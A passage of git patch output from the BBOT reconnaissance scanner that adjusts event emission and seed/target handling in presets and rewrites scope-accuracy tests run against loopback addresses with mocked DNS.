| 3 +++ bbot/modules/output/base.py | 3 +++ 2 files changed, 6 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 1e35da046a..ccb8742660 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -1208,6 +1208,9 @@ def _words(self): class OPEN_TCP_PORT(BaseEvent): + # we generally don't care about open ports on affiliates + _always_emit_tags = ["seed"] + def sanitize_data(self, data): return validators.validate_open_port(data) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index 94066539c7..cdb0b644f2 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -43,6 +43,9 @@ def _event_precheck(self, event): if event.type in self.get_watched_events(): reason = "its type is explicitly in watched_events" self.debug(f"Allowing omitted event: {event} because {reason}") + elif event.always_emit: + reason = "it's always emitted" + self.debug(f"Allowing omitted event: {event} because {reason}") else: return False, "its type is omitted in the config" From 48a07271be08826722382b4f5d80bc33188323b0 Mon Sep 17 00:00:00 2001 From: TheTechromancer <thetechromancer@protonmail.com> Date: Mon, 8 Dec 2025 00:04:13 -0500 Subject: [PATCH 199/912] working on tests --- bbot/scanner/preset/preset.py | 23 +- .../test_manager_scope_accuracy.py | 851 +++++++++--------- bbot/test/test_step_1/test_scan.py | 4 +- 3 files changed, 437 insertions(+), 441 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index bd37f7595c..58bbd50b49 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -116,7 +116,6 @@ class Preset(metaclass=BasePreset): def __init__( self, *target, - target_list=None, seeds=None, blacklist=None, modules=None, @@ -270,8 +269,8 @@ def __init__( self._blacklist = set(blacklist if blacklist else []) # seeds are special. Instead of initializing them as an empty set, we use "None" # to signify they haven't been explicitly set. - # after all the merging is done, if seeds are still None, we'll know it's okay to copy - # them from the target_list. + # after all the merging is done, if seeds are still untouched by the user + # (i.e. they are still None), we'll know it's okay to copy them from the targets. self._seeds = set(seeds) if seeds else None self._target = None @@ -658,7 +657,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): Examples: >>> preset = Preset.from_dict({"target": ["evilcorp.com"], "modules": ["portscan"]}) """ - # Handle seeds and target_list from dict + # Handle seeds and targets from dict # - "target" key represents target_list (what in_target() checks) # - "targets" is legacy and also treated as target_list # - "seeds" key represents explicit seeds (never positional args) @@ -669,7 +668,7 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): target_list = list(dict.fromkeys(target_vals)) or None seeds = preset_dict.get("seeds") new_preset = cls( - target_list=target_list, + *target_list, seeds=seeds, blacklist=preset_dict.get("blacklist"), modules=preset_dict.get("modules"), @@ -799,15 +798,15 @@ def to_dict(self, include_target=False, full_config=False, redact_secrets=False) # scope if include_target: - seeds = sorted(self.target.seeds.inputs) - target_list = [] - if self.target.target is not None: - target_list = sorted(self.target.target.inputs) + target = sorted(self.target.target.inputs) + seeds = [] + if self.target.seeds is not None: + seeds = sorted(self.target.seeds.inputs) blacklist = sorted(self.target.blacklist.inputs) - if seeds: + if target: + preset_dict["target"] = target + if seeds and seeds != target: preset_dict["seeds"] = seeds - if target_list and target_list != seeds: - preset_dict["target"] = target_list if blacklist: preset_dict["blacklist"] = blacklist diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index e8bbb569af..8b7305a790 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -277,433 +277,430 @@ def custom_setup(scan): dummyvulnmodule = DummyVulnModule(scan) scan.modules["dummyvulnmodule"] = dummyvulnmodule - # # dns search distance = 3, report distance = 1 - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "test.notreal", - # scan_callback=custom_setup, - # _config={"dns": {"minimal": False, "search_distance": 3}, "scope": {"report_distance": 1}}, - # _dns_mock=dns_mock_chain, - # ) - - # assert len(events) == 5 - # assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) - # assert 1 == len([e for e in events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - # assert len(all_events) == 8 - # assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - # assert 2 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - # assert 1 == len([e for e in all_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - # assert len(all_events_nodups) == 6 - # assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - # assert 1 == len([e for e in all_events_nodups if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - # for _graph_output_events in (graph_output_events, graph_output_batch_events): - # assert len(_graph_output_events) == 7 - # assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is True and e.scope_distance == 3]) - # assert 1 == len([e for e in _graph_output_events if e.type == "FINDING" and e.data["host"] == "127.0.0.77" and e.internal is False and e.scope_distance == 3]) - - # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0 - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "127.0.0.1/31", - # modules=["httpx"], - # _config={ - # "dns": {"minimal": False, "search_distance": 2}, - # "scope": {"report_distance": 1, "search_distance": 0}, - # "speculate": True, - # "excavate": True, - # "modules": {"speculate": {"ports": "8888"}}, - # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - # }, - # _dns_mock={}, - # ) - - # assert len(events) == 7 - # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - - # assert len(all_events) == 14 - # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - - # assert len(all_events_nodups) == 12 - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - - # for _graph_output_events in (graph_output_events, graph_output_batch_events): - # assert len(_graph_output_events) == 7 - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - - # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 0, in_scope_only = False - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "127.0.0.1/31", - # modules=["httpx"], - # _config={ - # "dns": {"minimal": False, "search_distance": 2}, - # "scope": {"search_distance": 0, "report_distance": 1}, - # "excavate": True, - # "speculate": True, - # "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, - # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - # }, - # ) - - # assert len(events) == 8 - # # 2024-08-01 - # # Removed OPEN_TCP_PORT("127.0.0.77:8888") - # # before, this event was speculated off the URL_UNVERIFIED, and that's what was used by httpx to generate the URL. it was graph-important. - # # now for whatever reason, httpx is visiting the url directly and the open port isn't being used - # # I don't know what changed exactly, but it doesn't matter, either way is equally valid and bbot is meant to be flexible this way. - # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.77:8888"]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - - # assert len(all_events) == 18 - # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - - # assert len(all_events_nodups) == 16 - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - - # for _graph_output_events in (graph_output_events, graph_output_batch_events): - # assert len(_graph_output_events) == 8 - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and "spider-danger" in e.tags]) - # assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - # assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - # assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"]) - - # # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1 - # events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - # "127.0.0.1/31", - # modules=["httpx"], - # _config={ - # "dns": {"minimal": False, "search_distance": 2}, - # "scope": {"report_distance": 1, "search_distance": 1}, - # "excavate": True, - # "speculate": True, - # "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}}, - # "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"], - # }, - # ) - - # assert len(events) == 8 - # assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"]) - # assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - # assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"]) - # assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"]) - # assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) - # assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"]) - - # assert len(all_events) == 22 - # assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2]) - # assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3]) - - # assert len(all_events_nodups) == 20 - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags]) - # assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1]) - # assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == 